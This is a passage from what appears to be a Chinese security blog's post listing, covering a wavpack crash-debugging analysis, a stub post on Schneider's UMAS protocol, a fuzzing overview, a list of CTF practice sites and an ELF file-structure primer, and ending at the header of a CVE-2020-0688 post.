class="title">x86_64</span>-<span class="title">linux</span>-<span class="title">gnu</span>/<span class="title">libc</span>-2.31.<span class="title">so</span></span></span><br><span class="line"><span class="number">0x00007ffff79b7000</span> <span class="number">0x00007ffff7b2f000</span> r-xp /usr/<span class="class"><span class="keyword">lib</span>/<span class="title">x86_64</span>-<span class="title">linux</span>-<span class="title">gnu</span>/<span class="title">libc</span>-2.31.<span class="title">so</span></span></span><br><span class="line"><span class="number">0x00007ffff7b2f000</span> <span class="number">0x00007ffff7b7d000</span> r--p /usr/<span class="class"><span class="keyword">lib</span>/<span class="title">x86_64</span>-<span class="title">linux</span>-<span class="title">gnu</span>/<span class="title">libc</span>-2.31.<span class="title">so</span></span></span><br><span class="line"><span class="number">0x00007ffff7b7d000</span> <span class="number">0x00007ffff7b81000</span> r--p /usr/<span class="class"><span class="keyword">lib</span>/<span class="title">x86_64</span>-<span class="title">linux</span>-<span class="title">gnu</span>/<span class="title">libc</span>-2.31.<span class="title">so</span></span></span><br><span class="line"><span class="number">0x00007ffff7b81000</span> <span class="number">0x00007ffff7b83000</span> rw-p /usr/<span class="class"><span class="keyword">lib</span>/<span class="title">x86_64</span>-<span class="title">linux</span>-<span class="title">gnu</span>/<span class="title">libc</span>-2.31.<span class="title">so</span></span></span><br><span class="line"><span class="number">0x00007ffff7b83000</span> <span class="number">0x00007ffff7b87000</span> rw-p mapped</span><br></pre></td></tr></table></figure></p>
<h2 id="4-2-调试中寄存器细节问题"><a href="#4-2-调试中寄存器细节问题" class="headerlink" title="4.2 调试中寄存器细节问题"></a>4.2 调试中寄存器细节问题</h2><figure class="highlight x86asm"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br></pre></td><td class="code"><pre><span class="line"> <span class="number">0x7ffff7b2077f</span> <__memmove_avx_unaligned_erms+<span class="number">399</span>>: <span class="keyword">lea</span> <span class="built_in">rcx</span>,[<span class="built_in">rdi</span>+<span class="built_in">rdx</span>*<span class="number">1</span>-<span class="number">0x20</span>]</span><br><span class="line"> <span class="number">0x7ffff7b20784</span> <__memmove_avx_unaligned_erms+<span class="number">404</span>>: <span class="keyword">mov</span> <span class="built_in">r8</span>,<span class="built_in">rdi</span> //<span class="built_in">r8</span>=</span><br><span class="line"> <span class="number">0x7ffff7b20787</span> <__memmove_avx_unaligned_erms+<span class="number">407</span>>: <span class="keyword">and</span> <span class="built_in">r8</span>,<span class="number">0x1f</span></span><br><span class="line">=> <span class="number">0x7ffff7b2078b</span> <__memmove_avx_unaligned_erms+<span class="number">411</span>>: <span class="keyword">sub</span> <span class="built_in">r8</span>,<span class="number">0x20</span></span><br></pre></td></tr></table></figure>
<p>R8在执行sub命令前为0x00,因此减去0x20导致异常,R8变为0xffffffffffffffe0</p>
<p>由于sub R8,0x20,R8=0后,导致 R8:0xffffffffffffffe0,后续对寄存器操作均使用R8寄存器进行计算。</p>
<figure class="highlight x86asm"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br></pre></td><td class="code"><pre><span class="line">=> <span class="number">0x7ffff7a24380</span> <__GI__IO_file_xsgetn+<span class="number">272</span>>: <span class="keyword">mov</span> <span class="built_in">rdi</span>,<span class="built_in">r13</span></span><br><span class="line"> <span class="number">0x7ffff7a24383</span> <__GI__IO_file_xsgetn+<span class="number">275</span>>: <span class="keyword">mov</span> <span class="built_in">rdx</span>,<span class="built_in">rbp</span></span><br><span class="line"> <span class="number">0x7ffff7a24386</span> <__GI__IO_file_xsgetn+<span class="number">278</span>>: <span class="keyword">sub</span> <span class="built_in">r12</span>,<span class="built_in">rbp</span></span><br></pre></td></tr></table></figure>
<p>在执行到这一行代码时,rbp、r13、r12进行计算,需要使用</p>
<p>(1)vmovdqu 指令的具体作用,导致这个问题出现的主要原因,以及如何避免这种问题。</p>
<h2 id="4-3-寄存器部分功能描述"><a href="#4-3-寄存器部分功能描述" class="headerlink" title="4.3 寄存器部分功能描述"></a>4.3 寄存器部分功能描述</h2><p>1.对寄存器掌握不深,对x64环境下各个寄存器的功能不熟悉。</p>
<table>
<thead>
<tr>
<th>第64位</th>
<th>第32位</th>
<th>第16位</th>
<th>第8位</th>
<th>一般作用</th>
</tr>
</thead>
<tbody>
<tr>
<td>63</td>
<td>31</td>
<td>15</td>
<td>7</td>
<td>0</td>
</tr>
<tr>
<td>%rax</td>
<td>%eax</td>
<td>%ax</td>
<td>%al</td>
<td>返回值</td>
</tr>
<tr>
<td>%rbx</td>
<td>%ebx</td>
<td>%bx</td>
<td>%bl</td>
<td>被调用者保存</td>
</tr>
<tr>
<td>%rcx</td>
<td>%ecx</td>
<td>%cx</td>
<td>%cl</td>
<td>第四个参数</td>
</tr>
<tr>
<td>%rdx</td>
<td>%edx</td>
<td>%dx</td>
<td>%dl</td>
<td>第三个参数</td>
</tr>
<tr>
<td>%rsi</td>
<td>%esi</td>
<td>%si</td>
<td>%sil</td>
<td>第二个参数</td>
</tr>
<tr>
<td>%rdi</td>
<td>%edi</td>
<td>%di</td>
<td>%dil</td>
<td>第一个参数</td>
</tr>
<tr>
<td>%rbp</td>
<td>%ebp</td>
<td>%bp</td>
<td>%bpl</td>
<td>被调用者保存</td>
</tr>
<tr>
<td>%rsp</td>
<td>%esp</td>
<td>%sp</td>
<td>%spl</td>
<td>栈指针</td>
</tr>
<tr>
<td>%r8</td>
<td>%r8d</td>
<td>%r8w</td>
<td>%r8b</td>
<td>第五个参数</td>
</tr>
<tr>
<td>%r9</td>
<td>%r9d</td>
<td>%r9w</td>
<td>%r9b</td>
<td>第六个参数</td>
</tr>
<tr>
<td>%r10</td>
<td>%r10d</td>
<td>%r10w</td>
<td>%r10b</td>
<td>调用者保存</td>
</tr>
<tr>
<td>%r11</td>
<td>%r11d</td>
<td>%r11w</td>
<td>%r11b</td>
<td>调用者保存</td>
</tr>
<tr>
<td>%r12</td>
<td>%r12d</td>
<td>%r12w</td>
<td>%r12b</td>
<td>被调用者保存</td>
</tr>
<tr>
<td>%r13</td>
<td>%r13d</td>
<td>%r13w</td>
<td>%r13b</td>
<td>被调用者保存</td>
</tr>
<tr>
<td>%r14</td>
<td>%r14d</td>
<td>%r14w</td>
<td>%r14b</td>
<td>被调用者保存</td>
</tr>
<tr>
<td>%r15</td>
<td>%r15d</td>
<td>%r15w</td>
<td>%r15b</td>
<td>被调用者保存</td>
</tr>
</tbody>
</table>
<p>其中,字节级操作可以访问最低的字节,16位操作可以访问最低的2个字 节32位操作可以访问最低的4个字节,而64位操作可以访问整个寄存器</p>
<h1 id="课后温习"><a href="#课后温习" class="headerlink" title="课后温习"></a>课后温习</h1><ol>
<li>fread函数的详细实现讲解 <a href="https://ray-cp.github.io/archivers/IO_FILE_fread_analysis" target="_blank" rel="noopener">https://ray-cp.github.io/archivers/IO_FILE_fread_analysis</a></li>
<li>glibc-2.3.1下fileops.c的实现 <a href="https://elixir.bootlin.com/glibc/glibc-2.31/source/libio/fileops.c" target="_blank" rel="noopener">https://elixir.bootlin.com/glibc/glibc-2.31/source/libio/fileops.c</a></li>
</ol>
</div>
<footer class="article-footer">
<a data-url="http://gumeng.fun/2022/05/14/20220516-初探wavpack测试crashes文件分析/" data-id="cli32j4nf002q7cvkw8ii3w42" class="article-share-link">Share</a>
</footer>
</div>
</article>
<article id="post-20220507-UMAS协议初探" class="article article-type-post" itemscope="" itemprop="blogPost">
<div class="article-meta">
<a href="/2022/05/07/20220507-UMAS协议初探/" class="article-date">
<time datetime="2022-05-07T00:42:53.000Z" itemprop="datePublished">2022-05-07</time>
</a>
<div class="article-category">
<a class="article-category-link" href="/categories/工控协议/">工控协议</a>►<a class="article-category-link" href="/categories/工控协议/逆向工程/">逆向工程</a>
</div>
</div>
<div class="article-inner">
<header class="article-header">
<h1 itemprop="name">
<a class="article-title" href="/2022/05/07/20220507-UMAS协议初探/">施耐德umas工控协议初探</a>
</h1>
</header>
<div class="article-entry" itemprop="articleBody">
<h1 id="施耐德工控协议-UMAS-协议初探"><a href="#施耐德工控协议-UMAS-协议初探" class="headerlink" title="施耐德工控协议 UMAS 协议初探"></a>施耐德工控协议 UMAS 协议初探</h1><h2 id="背景介绍"><a href="#背景介绍" class="headerlink" title="背景介绍"></a>背景介绍</h2><p><img src="https://dss0.bdstatic.com/-0U0bnSm1A5BphGlnYG/tam-ogel/33cc8d9a4db4e02ae63d6f23ab7fd2b7_222_222.jpg" alt="施耐德公司logo"></p>
<p>  施耐德电气有限公司(Schneider Electric SA)是总部位于法国的全球化电气企业,全球能效管理和自动化领域的专家。 集团2016财年销售额为250亿欧元,在全球100多个国家拥有超过16万名员工。 1836年由施耐德兄弟建立。 它的总部位于法国吕埃。 施耐德电气的宗旨,是赋能所有人对能源和资源的最大化利用, 推动人类进步与可持续的共同发展。</p>
<p>  施耐德电气的使命是成为用户实现高效和可持续发展的数字化伙伴。 施耐德电气致力于推动数字化转型,服务于家居、楼宇、数据中心、基础设施和工业市场。 通过集成世界领先的工艺和能源管理技术,从终端到云的互联互通产品、控制、软件和服务,贯穿业务全生命周期,实现整合的企业级管理。</p>
<p>  施耐德UMAS协议是建立在UMAS协议之上的协议簇,主要利用0x5A(90)功能码进行设备操作、上传、下载、运行等等。其中,UMAS (Unified Messaging Application Services) 统一消息传递应用程序服务,它是用于交换应用程序数据的平台独立协议,通信数据使用标准的Modbus协议。Modbus是Modicon公司在1979年开发的基于消息结构的协议,最早是为Modicon公司的PLC中使用,后为施耐德电气公司所有。Modbus协议是现今使用的最早和应用最广泛的工业控制系统协议之一,主要是用于和现场控制器通信的应用层协议,共有三种工作模式:Modbus/ASCII,Modbus/RTU,和Modbus/TCP。Modbus协议标准是公开的,其众多功能码早已广为人知,在此不做赘述。但其标准文档中也提到了一些未公开、且为占用状态的功能码,90功能码(0x5A)即为其中一个,UMAS协议即为90功能码的Modbus。</p>
<h2 id="UMAS协议使用场景"><a href="#UMAS协议使用场景" class="headerlink" title="UMAS协议使用场景"></a>UMAS协议使用场景</h2><p>  主要解释UMAS协议使用情况,包括组态、上传下载、交互监控。</p>
<p>UMAS协议使用场景,施耐德组态软件中,对于PLC、DCS</p>
<h2 id="UMAS协议逆向方法"><a href="#UMAS协议逆向方法" class="headerlink" title="UMAS协议逆向方法"></a>UMAS协议逆向方法</h2><p>经典协议逆向方法,聚类或人工分析,</p>
<h3 id="广义的协议逆向方法"><a href="#广义的协议逆向方法" class="headerlink" title="广义的协议逆向方法"></a>广义的协议逆向方法</h3><h3 id="本例子中协议逆向方法"><a href="#本例子中协议逆向方法" class="headerlink" title="本例子中协议逆向方法"></a>本例子中协议逆向方法</h3><h2 id="零日漏洞使用与效果"><a href="#零日漏洞使用与效果" class="headerlink" title="零日漏洞使用与效果"></a>零日漏洞使用与效果</h2><h3 id="拒绝服务漏洞"><a href="#拒绝服务漏洞" class="headerlink" title="拒绝服务漏洞"></a>拒绝服务漏洞</h3><h3 id="使用限制条件"><a href="#使用限制条件" class="headerlink" title="使用限制条件"></a>使用限制条件</h3><p>##</p>
</div>
<footer class="article-footer">
<a data-url="http://gumeng.fun/2022/05/07/20220507-UMAS协议初探/" data-id="cli32j4nh002u7cvkllznn1l7" class="article-share-link">Share</a>
</footer>
</div>
</article>
<article id="post-20220413-fuzz技术最新进展与展望" class="article article-type-post" itemscope="" itemprop="blogPost">
<div class="article-meta">
<a href="/2022/04/07/20220413-fuzz技术最新进展与展望/" class="article-date">
<time datetime="2022-04-07T00:42:53.000Z" itemprop="datePublished">2022-04-07</time>
</a>
<div class="article-category">
<a class="article-category-link" href="/categories/模糊测试/">模糊测试</a>
</div>
</div>
<div class="article-inner">
<header class="article-header">
<h1 itemprop="name">
<a class="article-title" href="/2022/04/07/20220413-fuzz技术最新进展与展望/">Fuzzing技术最新进展与展望</a>
</h1>
</header>
<div class="article-entry" itemprop="articleBody">
<h1 id="Fuzz定义与概述"><a href="#Fuzz定义与概述" class="headerlink" title="Fuzz定义与概述"></a>Fuzz定义与概述</h1><p>  Fuzzing一般成为软件模糊测试技术,而Fuzzing一词在英文中原意为“起毛”,是指一种通过向目标系统提供非预期的输入并监视异常结果来发现软件漏洞的方法。从根本上讲,Fuzzing隶属如软件测试技术的一种,是一种自动化的健壮性、安全性测试技术。</p>
<p><img src="/img/fuzz1.png" alt="一般模糊测试流程"></p>
<p>  从上图可以看到,一般意义上模糊测试可以分为输入器、变异器、输出接口、监控器、反馈器共5个粗粒度模块。在<b>输入器</b>中,大致可分为格式输入(类似Peach Fuzz)、文件输入(类似AFL的seed文件)。在<b>变异器</b>中,大致可分为基于生成(根据固定格 式生成格式数据,比较多见于对文件模糊测试,例如MP3文件等)、基于变异的策略(根据格式变异长度和内容字符的变异,比较多见于协议内容,不定长格式的测试工作)。在<b>输出接口</b>中,一般输出接口指的是数据发送的对象,在计算机体系中可以是空中接口、无线电、串口、USB等各类接口。在<strong>监控器</strong>模块中,考虑到目标普遍部署在Win、Linux等环境下,在Windows下主要利用Windbg进行监控,在Linux平台下主要用GDB进行监控。在<strong>反馈器</strong>模块中,主要是使用对dbg文件的分析,获得程序运行的上下文环境。</p>
<h1 id="针对模糊测试系统的扩展性研究"><a href="#针对模糊测试系统的扩展性研究" class="headerlink" title="针对模糊测试系统的扩展性研究"></a>针对模糊测试系统的扩展性研究</h1><p><img src="/img/1649819271.png" alt="模糊测试系统的扩展方面发展"></p>
<p>  在目前针对模糊测试系统中,可以考虑加入实时反馈方式,在提升测试效率的同时,增加了程序覆盖率。在增加漏洞成因分析方面,考虑到目前的Debug工具不具有普适性,接口众多而且开发难度大,漏洞分析方面只能部分做到自动化。</p>
<h1 id="关于模糊测试的时间线问题"><a href="#关于模糊测试的时间线问题" class="headerlink" title="关于模糊测试的时间线问题"></a>关于模糊测试的时间线问题</h1><p><img src="/img/fuzztimeline.png" alt="模糊测试系统的扩展方面发展"></p>
<p><strong>The first fuzzing tool was developed by Miller (1990) and was originally designed to test the reliability of UNIX tools.</strong></p>
<p>  传统的模糊测试技术,从最初的变异、生成、监控、测试等等模块,变化为添加过符号执行、动态监控、自动分析处理等强大功能的软件测试技术。由于早期模糊测试系统的效率极其低下,研究人员引入了各种不同的技术来提高效率、加快测试过程。</p>
<h2 id="监控器监控"><a href="#监控器监控" class="headerlink" title="监控器监控"></a>监控器监控</h2><p>  在实际模糊测试系运行中,需要监控程序上下文空间,具体包括<strong>符号表达式</strong>(Cadar等人,2008;戈德弗罗德等人, 2005,2008;哈勒等人,2013;纽施旺德纳等人,2015;2015;森等 人,2005;斯蒂芬斯等人,2016);<strong>路径覆盖数据</strong>(扎勒夫斯基, 2016;谷歌2017a,2017b)和<strong>污染信息</strong>(Ganesh等人,2009;Rawat 等人,2017;王等人,2010)。其中,<strong>符号表达式</strong>用于生成输入数据,<strong>路径覆盖数据</strong>用于下一个循环中的种子选择。<strong>污染数据</strong>用于推断输入中的哪些偏移量会影响程序的执行路径。</p>
<h2 id="先验知识或专家辅助"><a href="#先验知识或专家辅助" class="headerlink" title="先验知识或专家辅助"></a>先验知识或专家辅助</h2><p>  在模糊测试中,针对目标程序中那些计算模块、内存处理与申请、端口开放等细节需要人工介入,研究人员发现在大部分的程序安装进程中,需要人工进行进行审计,发现程序中的未知bug或逻辑问题,而许多人工审计工具可以帮助我们做到这一点。</p>
<hr>
<h1 id="漏洞分析"><a href="#漏洞分析" class="headerlink" title="漏洞分析"></a>漏洞分析</h1><p>  持续更新中……</p>
</div>
<footer class="article-footer">
<a data-url="http://gumeng.fun/2022/04/07/20220413-fuzz技术最新进展与展望/" data-id="cli32j4ne002n7cvk1uxe2r09" class="article-share-link">Share</a>
</footer>
</div>
</article>
<article id="post-20200804-外国ctf网站" class="article article-type-post" itemscope="" itemprop="blogPost">
<div class="article-meta">
<a href="/2020/08/04/20200804-外国ctf网站/" class="article-date">
<time datetime="2020-08-04T01:50:08.000Z" itemprop="datePublished">2020-08-04</time>
</a>
<div class="article-category">
<a class="article-category-link" href="/categories/CTF/">CTF</a>
</div>
</div>
<div class="article-inner">
<header class="article-header">
<h1 itemprop="name">
<a class="article-title" href="/2020/08/04/20200804-外国ctf网站/">外国ctf学习网站集锦(未完待续)</a>
</h1>
</header>
<div class="article-entry" itemprop="articleBody">
<h1 id="CTF竞赛网站:"><a href="#CTF竞赛网站:" class="headerlink" title="CTF竞赛网站:"></a>CTF竞赛网站:</h1><p>Here’s a list of some CTF practice sites and tools or CTFs that are long-running. Thanks, RSnake for starting the original that this is based on. If you have any corrections or suggestions, feel free to email ctf at the domain psifertex with a dot com tld.</p>
<p>Live Online Games 线上竞赛</p>
<h1 id="Recommended-推荐"><a href="#Recommended-推荐" class="headerlink" title="Recommended 推荐"></a>Recommended 推荐</h1><p>Whether they’re being updated, contain high quality challenges, or just have a lot of depth, these are probably where you want to spend the most time.这些网站一般都是长期运营</p>
<p><a href="http://pwnable.kr/" target="_blank" rel="noopener">http://pwnable.kr/</a> (one of the more popular recent wargamming sets of challenges)<br><a href="https://picoctf.com/" target="_blank" rel="noopener">https://picoctf.com/</a> (Designed for high school students while the event is usually new every year, it’s left online and has a great difficulty progression)<br><a href="https://microcorruption.com/login" target="_blank" rel="noopener">https://microcorruption.com/login</a> (one of the best interfaces, a good difficulty curve and introduction to low-level reverse engineering, specifically on an MSP430)<br><a href="https://learn.abctf.xyz" target="_blank" rel="noopener">https://learn.abctf.xyz</a> (a new CTF based learning platform with user-contributed challenges)<br><a href="http://reversing.kr/" target="_blank" rel="noopener">http://reversing.kr/</a><br><a href="http://hax.tor.hu/" target="_blank" rel="noopener">http://hax.tor.hu/</a><br><a href="https://w3challs.com/" target="_blank" rel="noopener">https://w3challs.com/</a><br><a href="https://pwn0.com/" target="_blank" rel="noopener">https://pwn0.com/</a><br><a href="https://io.netgarage.org/" target="_blank" rel="noopener">https://io.netgarage.org/</a><br><a href="http://ringzer0team.com/" target="_blank" rel="noopener">http://ringzer0team.com/</a><br><a href="http://www.hellboundhackers.org/" target="_blank" rel="noopener">http://www.hellboundhackers.org/</a><br><a href="http://www.overthewire.org/wargames/" target="_blank" rel="noopener">http://www.overthewire.org/wargames/</a><br><a href="http://counterhack.net/Counter_Hack/Challenges.html" target="_blank" rel="noopener">http://counterhack.net/Counter_Hack/Challenges.html</a><br><a href="http://www.hackthissite.org/" target="_blank" rel="noopener">http://www.hackthissite.org/</a><br><a href="http://vulnhub.com/" target="_blank" rel="noopener">http://vulnhub.com/</a></p>
<h1 id="Others-其他"><a href="#Others-其他" class="headerlink" title="Others 其他"></a>Others 其他</h1><p><a href="https://backdoor.sdslabs.co/" target="_blank" rel="noopener">https://backdoor.sdslabs.co/</a><br><a href="http://smashthestack.org/wargames.html" target="_blank" rel="noopener">http://smashthestack.org/wargames.html</a><br><a href="http://hackthecause.info/" target="_blank" rel="noopener">http://hackthecause.info/</a><br><a href="http://bright-shadows.net/" target="_blank" rel="noopener">http://bright-shadows.net/</a><br><a href="http://www.mod-x.co.uk/main.php" target="_blank" rel="noopener">http://www.mod-x.co.uk/main.php</a><br><a href="http://scanme.nmap.org/" target="_blank" rel="noopener">http://scanme.nmap.org/</a><br><a href="http://www.hackertest.net/" target="_blank" rel="noopener">http://www.hackertest.net/</a><br><a href="http://net-force.nl/" target="_blank" rel="noopener">http://net-force.nl/</a><br><a href="http://securityoverride.org/" target="_blank" rel="noopener">http://securityoverride.org/</a> Some good concepts, but “canned” vulnerabilities (string matching on input) will frustrate knowledgable<br>hackers and teach newbies the wrong lessons</p>
<h1 id="Meta"><a href="#Meta" class="headerlink" title="Meta"></a>Meta</h1><p><a href="http://www.wechall.net/sites.php" target="_blank" rel="noopener">http://www.wechall.net/sites.php</a> (excellent list of challenge sites)<br><a href="http://ctf.forgottensec.com/wiki/" target="_blank" rel="noopener">http://ctf.forgottensec.com/wiki/</a> (good CTF wiki, though focused on CCDC)<br><a href="http://repo.shell-storm.org/CTF/" target="_blank" rel="noopener">http://repo.shell-storm.org/CTF/</a> (great archive of CTFs)</p>
<h1 id="Webapp-Specific"><a href="#Webapp-Specific" class="headerlink" title="Webapp Specific"></a>Webapp Specific</h1><p><a href="http://demo.testfire.net/" target="_blank" rel="noopener">http://demo.testfire.net/</a><br><a href="http://wocares.com/xsstester.php" target="_blank" rel="noopener">http://wocares.com/xsstester.php</a><br><a href="http://crackme.cenzic.com/" target="_blank" rel="noopener">http://crackme.cenzic.com/</a><br><a href="http://test.acunetix.com/" target="_blank" rel="noopener">http://test.acunetix.com/</a><br><a href="http://zero.webappsecurity.com/" target="_blank" rel="noopener">http://zero.webappsecurity.com/</a></p>
<h1 id="Forensics-Specific"><a href="#Forensics-Specific" class="headerlink" title="Forensics Specific"></a>Forensics Specific</h1><p><a href="http://computer-forensics.sans.org/community/challenges" target="_blank" rel="noopener">http://computer-forensics.sans.org/community/challenges</a><br><a href="http://computer-forensics.sans.org/community/challenges" target="_blank" rel="noopener">http://computer-forensics.sans.org/community/challenges</a><br><a href="http://forensicscontest.com/" target="_blank" rel="noopener">http://forensicscontest.com/</a></p>
<h1 id="Recruiting"><a href="#Recruiting" class="headerlink" title="Recruiting"></a>Recruiting</h1><p><a href="https://www.praetorian.com/challenges/pwnable/" target="_blank" rel="noopener">https://www.praetorian.com/challenges/pwnable/</a><br><a href="http://rtncyberjobs.com/" target="_blank" rel="noopener">http://rtncyberjobs.com/</a><br><a href="http://0x41414141.com/" target="_blank" rel="noopener">http://0x41414141.com/</a><br>Paid Training</p>
<p><a href="http://heorot.net/" target="_blank" rel="noopener">http://heorot.net/</a><br>Downloadable Offline Games</p>
<p><a href="http://www.badstore.net/" target="_blank" rel="noopener">http://www.badstore.net/</a><br><a href="http://www.owasp.org/index.php/Category:OWASP_WebGoat_Project" target="_blank" rel="noopener">http://www.owasp.org/index.php/Category:OWASP_WebGoat_Project</a><br><a href="http://www.owasp.org/index.php/Owasp_SiteGenerator" target="_blank" rel="noopener">http://www.owasp.org/index.php/Owasp_SiteGenerator</a><br>Damn Vulnerable Web App<br>Stanford SecureBench<br>Stanford SecureBench Micro<br><a href="http://www.irongeek.com/i.php?page=security/mutillidae-deliberately-vulnerable-php-owasp-top-10" target="_blank" rel="noopener">http://www.irongeek.com/i.php?page=security/mutillidae-deliberately-vulnerable-php-owasp-top-10</a></p>
<h1 id="Virtual-Machines"><a href="#Virtual-Machines" class="headerlink" title="Virtual Machines"></a>Virtual Machines</h1><p><a href="https://pentesterlab.com/exercises/" target="_blank" rel="noopener">https://pentesterlab.com/exercises/</a><br><a href="http://sourceforge.net/projects/metasploitable/files/Metasploitable2/" target="_blank" rel="noopener">http://sourceforge.net/projects/metasploitable/files/Metasploitable2/</a><br>Damn Vulnerable Linux (not currently live? local mirror)</p>
<h1 id="Inactive-or-Gone"><a href="#Inactive-or-Gone" class="headerlink" title="Inactive or Gone"></a>Inactive or Gone</h1><p>Just around for historical sake, or on the off-chance they come back.</p>
<p><a href="http://rootcontest.com/" target="_blank" rel="noopener">http://rootcontest.com/</a><br><a href="http://intruded.net/" target="_blank" rel="noopener">http://intruded.net/</a><br><a href="https://how2hack.net" target="_blank" rel="noopener">https://how2hack.net</a><br>WebMaven (Buggy Bank)<br><a href="http://www.foundstone.com/us/resources/proddesc/hacmetravel.htm" target="_blank" rel="noopener">http://www.foundstone.com/us/resources/proddesc/hacmetravel.htm</a><br><a href="http://www.foundstone.com/us/resources/proddesc/hacmebooks.htm" target="_blank" rel="noopener">http://www.foundstone.com/us/resources/proddesc/hacmebooks.htm</a><br><a href="http://www.foundstone.com/us/resources/proddesc/hacmecasino.htm" target="_blank" rel="noopener">http://www.foundstone.com/us/resources/proddesc/hacmecasino.htm</a><br><a href="http://www.foundstone.com/us/resources/proddesc/hacmeshipping.htm" target="_blank" rel="noopener">http://www.foundstone.com/us/resources/proddesc/hacmeshipping.htm</a><br><a href="http://hackme.ntobjectives.com/" target="_blank" rel="noopener">http://hackme.ntobjectives.com/</a><br><a href="http://testphp.acunetix.com/" target="_blank" rel="noopener">http://testphp.acunetix.com/</a><br><a href="http://testasp.acunetix.com/Default.asp" target="_blank" rel="noopener">http://testasp.acunetix.com/Default.asp</a><br><a href="http://prequals.nuitduhack.com" target="_blank" rel="noopener">http://prequals.nuitduhack.com</a><br><a href="http://www.gat3way.eu/index.php" target="_blank" rel="noopener">http://www.gat3way.eu/index.php</a> (Russian)<br><a href="http://exploit-exercises.com/" target="_blank" rel="noopener">http://exploit-exercises.com/</a> (challenges mirrored on vulnhub)<br><a href="http://damo.clanteam.com/" target="_blank" rel="noopener">http://damo.clanteam.com/</a><br><a href="http://p6drad-teel.net/~windo/wargame/" target="_blank" rel="noopener">http://p6drad-teel.net/~windo/wargame/</a><br><a href="http://roothack.org/" target="_blank" rel="noopener">http://roothack.org/</a><br><a href="http://ha.ckers.org/challenge/" target="_blank" rel="noopener">http://ha.ckers.org/challenge/</a><br><a href="http://ha.ckers.org/challenge2/" target="_blank" rel="noopener">http://ha.ckers.org/challenge2/</a><br><a href="http://www.dc3.mil/challenge/" target="_blank" rel="noopener">http://www.dc3.mil/challenge/</a></p>
</div>
<footer class="article-footer">
<a data-url="http://gumeng.fun/2020/08/04/20200804-外国ctf网站/" data-id="cli32j4na002f7cvklemaf73b" class="article-share-link">Share</a>
</footer>
</div>
</article>
<article id="post-20200804-ELF 文件结构" class="article article-type-post" itemscope="" itemprop="blogPost">
<div class="article-meta">
<a href="/2020/08/04/20200804-ELF 文件结构/" class="article-date">
<time datetime="2020-08-04T01:50:08.000Z" itemprop="datePublished">2020-08-04</time>
</a>
<div class="article-category">
<a class="article-category-link" href="/categories/Linux/">Linux</a>
</div>
</div>
<div class="article-inner">
<header class="article-header">
<h1 itemprop="name">
<a class="article-title" href="/2020/08/04/20200804-ELF 文件结构/">ELF 文件结构初初级解析</a>
</h1>
</header>
<div class="article-entry" itemprop="articleBody">
<h1 id="前言"><a href="#前言" class="headerlink" title="前言"></a>前言</h1><p>ELF基本文件结构是从Unix操作系统中沿用过来,对Linux安全学习,IoT相关物联网是一个基础知识,本篇博文从ELF文件结构方面来解析ELF文件结构。</p>
<h1 id="从ELF文件结构开始"><a href="#从ELF文件结构开始" class="headerlink" title="从ELF文件结构开始"></a>从ELF文件结构开始</h1><p>自己bing、google了多久,把能找到有用的连接挂在上去</p>
<blockquote>
<p><a href="http://blog.csdn.net/alan0521/article/details/7689865" target="_blank" rel="noopener">http://blog.csdn.net/alan0521/article/details/7689865</a><br><a href="https://en.wikipedia.org/wiki/Executable_and_Linkable_Format" target="_blank" rel="noopener">https://en.wikipedia.org/wiki/Executable_and_Linkable_Format</a><br><a href="http://flint.cs.yale.edu/cs422/doc/ELF_Format.pdf" target="_blank" rel="noopener">http://flint.cs.yale.edu/cs422/doc/ELF_Format.pdf</a></p>
</blockquote>
<p>主要参考耶鲁大学课程中的pdf,翻译成中文</p>
<h2 id="Linux-文件系统"><a href="#Linux-文件系统" class="headerlink" title="Linux 文件系统"></a>Linux 文件系统</h2><p>linux文件类型</p>
<ul>
<li>可重定位的目标文件(Relocatable,或者Object File)</li>
<li>可执行文件(Executable)</li>
<li>共享库(Shared Object,或者Shared Library)</li>
</ul>
<p>linux文件两种视角,与ctf结合需要你了解的部分:</p>
<p><img src="http://i.imgur.com/JbotCkK.png" alt=""></p>
<p>我们日常的文件头结构,以64位下elf编译的helloworld为例,工具是以readelf:</p>
<p><img src="http://i.imgur.com/3LcpwS1.png" alt=""></p>
<p>具体头文件格式参考,参考源码解读,参照c源码</p>
<p>elf.h 在ubuntu下 /usr/include/elf.h</p>
<p>该文件有3000+行,估计看到的人会崩溃:</p>
<p><img src="http://i.imgur.com/7QtLFBP.png" alt=""></p>
<p>今天不是解析elf.h 先专注我们关注的</p>
<p>An ELF header resides at the beginning and holds a ‘‘road map’’ describing the file’s organization. Sections hold the bulk of object file information for the linking view: instructions, data, symbol table, relocation information, and so on. Descriptions of special sections appear later in Part 1. Part 2 discusses segments and the program execution view of the file.</p>
<p>elf 头结构表示的是我们如何加载elf文件,包含如何加载的格式、系统、符号表,数据段,代码段,重定向段等等。</p>
<p>下图是elf 64 位下section字段名称</p>
<blockquote>
<p>如何在64系统中编译出一个32位程序</p>
<p>gcc test.c -m32 -o test </p>
<p>这样就可以在64位系统中编译32位程序</p>
</blockquote>
<p>段图,以64位编译环境下的hello为例:<br><img src="http://i.imgur.com/FJHtUrs.png" alt=""></p>
<p>可以的看到,有28个端,其中第一个0为空段,我们日常熟悉的pwn,日常中我们一般调用.data/.bss/.text 字段</p>
<p>这些内容就略过,重点关注程序加载到内存的方式,略过了:</p>
<ul>
<li>程序文件详细格式,在硬盘中的文件组织方式</li>
<li>程序链接时,即.o文件</li>
</ul>
<p>32位的系统和64位系统相当的不同,回头再写个博客整理整理,思路比较乱</p>
<hr>
<p>##</p>
<h1 id="ELF文件加载过程"><a href="#ELF文件加载过程" class="headerlink" title="ELF文件加载过程"></a>ELF文件加载过程</h1>
</div>
<footer class="article-footer">
<a data-url="http://gumeng.fun/2020/08/04/20200804-ELF 文件结构/" data-id="cli32j4nc002i7cvkxjtg2xaf" class="article-share-link">Share</a>
<ul class="article-tag-list"><li class="article-tag-list-item"><a class="article-tag-list-link" href="/tags/基础概念类/">基础概念类</a></li></ul>
</footer>
</div>
</article>
<article id="post-20200226-微软EXCHANGE远程代码执行漏洞复现(CVE-2020-0688)" class="article article-type-post" itemscope="" itemprop="blogPost">
<div class="article-meta">
<a href="/2020/02/26/20200226-微软EXCHANGE远程代码执行漏洞复现(CVE-2020-0688)/" class="article-date">
<time datetime="2020-02-26T15:00:16.000Z" itemprop="datePublished">2020-02-26</time>
</a>
<div class="article-category">
<a class="article-category-link" href="/categories/Exploit/">Exploit</a>
</div>
</div>
